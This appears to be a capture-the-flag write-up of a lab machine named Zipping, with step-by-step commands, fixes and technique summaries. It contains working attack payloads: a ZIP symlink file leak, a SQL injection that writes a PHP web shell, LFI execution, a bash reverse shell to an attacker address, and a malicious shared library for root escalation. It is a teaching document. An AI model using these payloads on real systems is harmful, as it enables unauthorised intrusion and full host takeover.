jperezduerto.info
Zipping
Summary
I enumerated the Zipping web host ($TARGET) and found a job-application upload page that extracted uploaded ZIP archives without checking for symlinks. Wrapping a symlink to the shop application's PHP source inside a .pdf-named ZIP leaked the source code of shop/index.php, revealing a weakly-filtered SQL injection in the 'id' parameter.
The SQLi was abused to write a PHP web shell into the world-writable /dev/shm directory, and a companion Local File Inclusion flaw in the 'page' parameter was used to include and execute that web shell, yielding remote code execution as the low-privileged web user. A reverse shell upgraded this to an interactive foothold as user 'rektsu' (user.txt captured).
From there, a sudo rule allowed rektsu to run a custom /usr/bin/stock binary as root; the binary contained a hardcoded password and loaded a shared library from a relative, externally writable path. Planting a malicious shared object with a constructor that called setuid(0) and spawned a root shell completed full compromise of the host (root.txt captured).
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p- $TARGETcurl -sS http://$TARGET/curl -sS "http://$TARGET/shop/index.php?page=products"Exact commands 4
ln -s /var/www/html/shop/index.php product.pdfzip --symlinks leak.zip product.pdfcurl -sS -F 'file=@leak.zip' http://$TARGET/upload.phpcurl -sS http://$TARGET/uploads/[REDACTED: sensitive value]FixReject symlinks and validate content when extracting uploaded ZIP archivesCritical
Exact commands 1
curl -sS --get --data-urlencode $'id=\n-1\' UNION SELECT "<?php system($_REQUEST[\'cmd\']); ?>",2,3,4,5,6,7,8 INTO OUTFILE \'/dev/shm/shell0904.php\'-- -1' --data-urlencode 'page=product' http://$TARGET/shop/index.phpFixFix the SQL injection in the shop's id parameter and use parameterized queriesCritical
Exact commands 1
curl -sS --get --data-urlencode 'page=/dev/shm/shell0904' --data-urlencode 'cmd=id' http://$TARGET/shop/index.phpFixEliminate the Local File Inclusion in the shop's page parameterCritical
Exact commands 4
nc -lvnp 443curl -sS --get --data-urlencode 'page=/dev/shm/shell0904' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1'" http://$TARGET/shop/index.phpidcat /home/rektsu/user.txtExact commands 4
sudo -lstrings /usr/bin/stock | grep -i -B2 -A2 managerltrace -f /usr/bin/stock 2>&1 | grep openatprintf "$PASSWORD\n3\n" | strace -f -e trace=openat,open,access sudo /usr/bin/stock 2>&1FixRemove the sudo NOPASSWD rule and hardcoded credential on /usr/bin/stockHigh
Exact commands 5
cat > lib.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
static void x() __attribute__((constructor));
void x(){ setuid(0); setgid(0); system("/bin/bash -p"); }
EOFmkdir -p ~/.config && gcc -shared -fPIC -o ~/.config/libcounter.so lib.ccd ~ && printf "$PASSWORD\n3\n" | sudo /usr/bin/stockidcat /root/root.txtFixLoad shared libraries by absolute path and harden the sudo execution environmentCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.54 ((Ubuntu)) |